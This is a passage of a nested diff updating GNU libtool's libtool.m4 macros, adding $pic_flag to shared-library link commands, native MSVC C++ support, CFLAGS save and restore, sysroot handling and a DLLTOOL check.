-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ AC_LINK_IFELSE(
-+ [AC_LANG_SOURCE(
-+ [AC_LANG_CASE([C], [[int foo (void) { return 0; }]],
-+ [C++], [[int foo (void) { return 0; }]],
-+ [Fortran 77], [[
-+ subroutine foo
-+ end]],
-+ [Fortran], [[
-+ subroutine foo
-+ end]])])],
-+ [lt_cv_irix_exported_symbol=yes],
-+ [lt_cv_irix_exported_symbol=no])
-+ LDFLAGS="$save_LDFLAGS"])
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -5020,7 +5350,7 @@ _LT_EOF
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
- else
- _LT_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
-@@ -5039,9 +5369,9 @@ _LT_EOF
- _LT_TAGVAR(no_undefined_flag, $1)=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -5313,8 +5643,6 @@ _LT_TAGDECL([], [inherit_rpath], [0],
- to runtime path list])
- _LT_TAGDECL([], [link_all_deplibs], [0],
- [Whether libtool must link a program against all its dependency libraries])
--_LT_TAGDECL([], [fix_srcfile_path], [1],
-- [Fix the shell variable $srcfile for the compiler])
- _LT_TAGDECL([], [always_export_symbols], [0],
- [Set to "yes" if exported symbols are required])
- _LT_TAGDECL([], [export_symbols_cmds], [2],
-@@ -5325,6 +5653,8 @@ _LT_TAGDECL([], [include_expsyms], [1],
- [Symbols that must always be exported])
- _LT_TAGDECL([], [prelink_cmds], [2],
- [Commands necessary for linking programs (against libraries) with templates])
-+_LT_TAGDECL([], [postlink_cmds], [2],
-+ [Commands necessary for finishing linking programs])
- _LT_TAGDECL([], [file_list_spec], [1],
- [Specify filename containing input files])
- dnl FIXME: Not yet implemented
-@@ -5426,6 +5756,7 @@ CC="$lt_save_CC"
- m4_defun([_LT_LANG_CXX_CONFIG],
- [m4_require([_LT_FILEUTILS_DEFAULTS])dnl
- m4_require([_LT_DECL_EGREP])dnl
-+m4_require([_LT_PATH_MANIFEST_TOOL])dnl
- if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
- ( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) ||
- (test "X$CXX" != "Xg++"))) ; then
-@@ -5487,6 +5818,7 @@ if test "$_lt_caught_CXX_error" != yes; then
-
- # Allow CC to be a program name with arguments.
- lt_save_CC=$CC
-+ lt_save_CFLAGS=$CFLAGS
- lt_save_LD=$LD
- lt_save_GCC=$GCC
- GCC=$GXX
-@@ -5504,6 +5836,7 @@ if test "$_lt_caught_CXX_error" != yes; then
- fi
- test -z "${LDCXX+set}" || LD=$LDCXX
- CC=${CXX-"c++"}
-+ CFLAGS=$CXXFLAGS
- compiler=$CC
- _LT_TAGVAR(compiler, $1)=$CC
- _LT_CC_BASENAME([$compiler])
-@@ -5667,7 +6000,7 @@ if test "$_lt_caught_CXX_error" != yes; then
- _LT_TAGVAR(allow_undefined_flag, $1)='-berok'
- # Determine the default libpath from the value encoded in an empty
- # executable.
-- _LT_SYS_MODULE_PATH_AIX
-+ _LT_SYS_MODULE_PATH_AIX([$1])
- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
-
- _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -5679,7 +6012,7 @@ if test "$_lt_caught_CXX_error" != yes; then
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- _LT_SYS_MODULE_PATH_AIX
-+ _LT_SYS_MODULE_PATH_AIX([$1])
- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
-@@ -5721,29 +6054,75 @@ if test "$_lt_caught_CXX_error" != yes; then
- ;;
-
- cygwin* | mingw* | pw32* | cegcc*)
-- # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
-- # as there is no search path for DLLs.
-- _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
-- _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-all-symbols'
-- _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
-- _LT_TAGVAR(always_export_symbols, $1)=no
-- _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
--
-- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-- # If the export-symbols file already is a .def file (1st line
-- # is EXPORTS), use it as is; otherwise, prepend...
-- _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-- cp $export_symbols $output_objdir/$soname.def;
-- else
-- echo EXPORTS > $output_objdir/$soname.def;
-- cat $export_symbols >> $output_objdir/$soname.def;
-- fi~
-- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-- else
-- _LT_TAGVAR(ld_shlibs, $1)=no
-- fi
-- ;;
-+ case $GXX,$cc_basename in
-+ ,cl* | no,cl*)
-+ # Native MSVC
-+ # hardcode_libdir_flag_spec is actually meaningless, as there is
-+ # no search path for DLLs.
-+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' '
-+ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
-+ _LT_TAGVAR(always_export_symbols, $1)=yes
-+ _LT_TAGVAR(file_list_spec, $1)='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ $SED -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ $SED -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, $1)='true'
-+ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-+ # Don't use ranlib
-+ _LT_TAGVAR(old_postinstall_cmds, $1)='chmod 644 $oldlib'
-+ _LT_TAGVAR(postlink_cmds, $1)='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ func_to_tool_file "$lt_outputfile"~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # g++
-+ # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
-+ # as there is no search path for DLLs.
-+ _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
-+ _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-all-symbols'
-+ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
-+ _LT_TAGVAR(always_export_symbols, $1)=no
-+ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
-+
-+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-+ # If the export-symbols file already is a .def file (1st line
-+ # is EXPORTS), use it as is; otherwise, prepend...
-+ _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ cp $export_symbols $output_objdir/$soname.def;
-+ else
-+ echo EXPORTS > $output_objdir/$soname.def;
-+ cat $export_symbols >> $output_objdir/$soname.def;
-+ fi~
-+ $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-+ else
-+ _LT_TAGVAR(ld_shlibs, $1)=no
-+ fi
-+ ;;
-+ esac
-+ ;;
- darwin* | rhapsody*)
- _LT_DARWIN_LINKER_FEATURES($1)
- ;;
-@@ -5818,7 +6197,7 @@ if test "$_lt_caught_CXX_error" != yes; then
- ;;
- *)
- if test "$GXX" = yes; then
-- _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -nostdlib $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- # FIXME: insert proper C++ library support
- _LT_TAGVAR(ld_shlibs, $1)=no
-@@ -5889,10 +6268,10 @@ if test "$_lt_caught_CXX_error" != yes; then
- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- fi
-@@ -5933,9 +6312,9 @@ if test "$_lt_caught_CXX_error" != yes; then
- *)
- if test "$GXX" = yes; then
- if test "$with_gnu_ld" = no; then
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
- fi
- fi
- _LT_TAGVAR(link_all_deplibs, $1)=yes
-@@ -6005,20 +6384,20 @@ if test "$_lt_caught_CXX_error" != yes; then
- _LT_TAGVAR(prelink_cmds, $1)='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $objs $libobjs $compile_deplibs~
-- compile_command="$compile_command `find $tpldir -name \*.o | $NL2SP`"'
-+ compile_command="$compile_command `find $tpldir -name \*.o | sort | $NL2SP`"'
- _LT_TAGVAR(old_archive_cmds, $1)='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $oldobjs$old_deplibs~
-- $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | $NL2SP`~
-+ $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | sort | $NL2SP`~
- $RANLIB $oldlib'
- _LT_TAGVAR(archive_cmds, $1)='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
-- $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
-+ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | sort | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
- _LT_TAGVAR(archive_expsym_cmds, $1)='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
-- $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
-+ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | sort | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
- ;;
- *) # Version 6 and above use weak symbols
- _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
-@@ -6213,7 +6592,7 @@ if test "$_lt_caught_CXX_error" != yes; then
- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- ;;
- *)
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- ;;
- esac
-
-@@ -6259,7 +6638,7 @@ if test "$_lt_caught_CXX_error" != yes; then
-
- solaris*)
- case $cc_basename in
-- CC*)
-+ CC* | sunCC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- _LT_TAGVAR(archive_cmds_need_lc,$1)=yes
- _LT_TAGVAR(no_undefined_flag, $1)=' -zdefs'
-@@ -6300,9 +6679,9 @@ if test "$_lt_caught_CXX_error" != yes; then
- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- _LT_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs'
- if $CC --version | $GREP -v '^2\.7' > /dev/null; then
-- _LT_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
-+ _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
-@@ -6431,6 +6810,7 @@ if test "$_lt_caught_CXX_error" != yes; then
- fi # test -n "$compiler"
-
- CC=$lt_save_CC
-+ CFLAGS=$lt_save_CFLAGS
- LDCXX=$LD
- LD=$lt_save_LD
- GCC=$lt_save_GCC
-@@ -6445,6 +6825,29 @@ AC_LANG_POP
- ])# _LT_LANG_CXX_CONFIG
-
-
-+# _LT_FUNC_STRIPNAME_CNF
-+# ----------------------
-+# func_stripname_cnf prefix suffix name
-+# strip PREFIX and SUFFIX off of NAME.
-+# PREFIX and SUFFIX must not contain globbing or regex special
-+# characters, hashes, percent signs, but SUFFIX may contain a leading
-+# dot (in which case that matches only a dot).
-+#
-+# This function is identical to the (non-XSI) version of func_stripname,
-+# except this one can be used by m4 code that may be executed by configure,
-+# rather than the libtool script.
-+m4_defun([_LT_FUNC_STRIPNAME_CNF],[dnl
-+AC_REQUIRE([_LT_DECL_SED])
-+AC_REQUIRE([_LT_PROG_ECHO_BACKSLASH])
-+func_stripname_cnf ()
-+{
-+ case ${2} in
-+ .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-+ *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-+ esac
-+} # func_stripname_cnf
-+])# _LT_FUNC_STRIPNAME_CNF
-+
- # _LT_SYS_HIDDEN_LIBDEPS([TAGNAME])
- # ---------------------------------
- # Figure out "hidden" library dependencies from verbose
-@@ -6453,6 +6856,7 @@ AC_LANG_POP
- # objects, libraries and library flags.
- m4_defun([_LT_SYS_HIDDEN_LIBDEPS],
- [m4_require([_LT_FILEUTILS_DEFAULTS])dnl
-+AC_REQUIRE([_LT_FUNC_STRIPNAME_CNF])dnl
- # Dependencies to place before and after the object being linked:
- _LT_TAGVAR(predep_objects, $1)=
- _LT_TAGVAR(postdep_objects, $1)=
-@@ -6503,6 +6907,13 @@ public class foo {
- };
- _LT_EOF
- ])
-+
-+_lt_libdeps_save_CFLAGS=$CFLAGS
-+case "$CC $CFLAGS " in #(
-+*\ -flto*\ *) CFLAGS="$CFLAGS -fno-lto" ;;
-+*\ -fwhopr*\ *) CFLAGS="$CFLAGS -fno-whopr" ;;
-+esac
-+
- dnl Parse the compiler output and extract the necessary
- dnl objects, libraries and library flags.
- if AC_TRY_EVAL(ac_compile); then
-@@ -6514,7 +6925,7 @@ if AC_TRY_EVAL(ac_compile); then
- pre_test_object_deps_done=no
-
- for p in `eval "$output_verbose_link_cmd"`; do
-- case $p in
-+ case ${prev}${p} in
-
- -L* | -R* | -l*)
- # Some compilers place space between "-{L,R}" and the path.
-@@ -6523,13 +6934,22 @@ if AC_TRY_EVAL(ac_compile); then
- test $p = "-R"; then
- prev=$p
- continue
-- else
-- prev=
- fi
-
-+ # Expand the sysroot to ease extracting the directories later.
-+ if test -z "$prev"; then
-+ case $p in
-+ -L*) func_stripname_cnf '-L' '' "$p"; prev=-L; p=$func_stripname_result ;;
-+ -R*) func_stripname_cnf '-R' '' "$p"; prev=-R; p=$func_stripname_result ;;
-+ -l*) func_stripname_cnf '-l' '' "$p"; prev=-l; p=$func_stripname_result ;;
-+ esac
-+ fi
-+ case $p in
-+ =*) func_stripname_cnf '=' '' "$p"; p=$lt_sysroot$func_stripname_result ;;
-+ esac
- if test "$pre_test_object_deps_done" = no; then
-- case $p in
-- -L* | -R*)
-+ case ${prev} in
-+ -L | -R)
- # Internal compiler library paths should come after those
- # provided the user. The postdeps already come after the
- # user supplied libs so there is no need to process them.
-@@ -6549,8 +6969,10 @@ if AC_TRY_EVAL(ac_compile); then
- _LT_TAGVAR(postdeps, $1)="${_LT_TAGVAR(postdeps, $1)} ${prev}${p}"
- fi
- fi
-+ prev=
- ;;
-
-+ *.lto.$objext) ;; # Ignore GCC LTO objects
- *.$objext)
- # This assumes that the test object file only shows up
- # once in the compiler output.
-@@ -6586,6 +7008,7 @@ else
- fi
-
- $RM -f confest.$objext
-+CFLAGS=$_lt_libdeps_save_CFLAGS
-
- # PORTME: override above test on systems where it is broken
- m4_if([$1], [CXX],
-@@ -6622,7 +7045,7 @@ linux*)
-
- solaris*)
- case $cc_basename in
-- CC*)
-+ CC* | sunCC*)
- # The more standards-conforming stlport4 library is
- # incompatible with the Cstd library. Avoid specifying
- # it if it's in CXXFLAGS. Ignore libCrun as
-@@ -6735,7 +7158,9 @@ if test "$_lt_disable_F77" != yes; then
- # Allow CC to be a program name with arguments.
- lt_save_CC="$CC"
- lt_save_GCC=$GCC
-+ lt_save_CFLAGS=$CFLAGS
- CC=${F77-"f77"}
-+ CFLAGS=$FFLAGS
- compiler=$CC
- _LT_TAGVAR(compiler, $1)=$CC
- _LT_CC_BASENAME([$compiler])
-@@ -6789,6 +7214,7 @@ if test "$_lt_disable_F77" != yes; then
-
- GCC=$lt_save_GCC
- CC="$lt_save_CC"
-+ CFLAGS="$lt_save_CFLAGS"
- fi # test "$_lt_disable_F77" != yes
-
- AC_LANG_POP
-@@ -6865,7 +7291,9 @@ if test "$_lt_disable_FC" != yes; then
- # Allow CC to be a program name with arguments.
- lt_save_CC="$CC"
- lt_save_GCC=$GCC
-+ lt_save_CFLAGS=$CFLAGS
- CC=${FC-"f95"}
-+ CFLAGS=$FCFLAGS
- compiler=$CC
- GCC=$ac_cv_fc_compiler_gnu
-
-@@ -6921,7 +7349,8 @@ if test "$_lt_disable_FC" != yes; then
- fi # test -n "$compiler"
-
- GCC=$lt_save_GCC
-- CC="$lt_save_CC"
-+ CC=$lt_save_CC
-+ CFLAGS=$lt_save_CFLAGS
- fi # test "$_lt_disable_FC" != yes
-
- AC_LANG_POP
-@@ -6958,10 +7387,12 @@ _LT_COMPILER_BOILERPLATE
- _LT_LINKER_BOILERPLATE
-
- # Allow CC to be a program name with arguments.
--lt_save_CC="$CC"
-+lt_save_CC=$CC
-+lt_save_CFLAGS=$CFLAGS
- lt_save_GCC=$GCC
- GCC=yes
- CC=${GCJ-"gcj"}
-+CFLAGS=$GCJFLAGS
- compiler=$CC
- _LT_TAGVAR(compiler, $1)=$CC
- _LT_TAGVAR(LD, $1)="$LD"
-@@ -6992,7 +7423,8 @@ fi
- AC_LANG_RESTORE
-
- GCC=$lt_save_GCC
--CC="$lt_save_CC"
-+CC=$lt_save_CC
-+CFLAGS=$lt_save_CFLAGS
- ])# _LT_LANG_GCJ_CONFIG
-
-
-@@ -7027,9 +7459,11 @@ _LT_LINKER_BOILERPLATE
-
- # Allow CC to be a program name with arguments.
- lt_save_CC="$CC"
-+lt_save_CFLAGS=$CFLAGS
- lt_save_GCC=$GCC
- GCC=
- CC=${RC-"windres"}
-+CFLAGS=
- compiler=$CC
- _LT_TAGVAR(compiler, $1)=$CC
- _LT_CC_BASENAME([$compiler])
-@@ -7042,7 +7476,8 @@ fi
-
- GCC=$lt_save_GCC
- AC_LANG_RESTORE
--CC="$lt_save_CC"
-+CC=$lt_save_CC
-+CFLAGS=$lt_save_CFLAGS
- ])# _LT_LANG_RC_CONFIG
-
-
-@@ -7101,6 +7536,15 @@ _LT_DECL([], [OBJDUMP], [1], [An object symbol dumper])
- AC_SUBST([OBJDUMP])
- ])
-
-+# _LT_DECL_DLLTOOL
-+# ----------------
-+# Ensure DLLTOOL variable is set.
-+m4_defun([_LT_DECL_DLLTOOL],
-+[AC_CHECK_TOOL(DLLTOOL, dlltool, false)
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+_LT_DECL([], [DLLTOOL], [1], [DLL creation program])
-+AC_SUBST([DLLTOOL])
-+])
-
- # _LT_DECL_SED
- # ------------
-@@ -7194,8 +7638,8 @@ m4_defun([_LT_CHECK_SHELL_FEATURES],
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -7234,206 +7678,162 @@ _LT_DECL([NL2SP], [lt_NL2SP], [1], [turn newlines into spaces])dnl
- ])# _LT_CHECK_SHELL_FEATURES
-
-
--# _LT_PROG_XSI_SHELLFNS
--# ---------------------
--# Bourne and XSI compatible variants of some useful shell functions.
--m4_defun([_LT_PROG_XSI_SHELLFNS],
--[case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
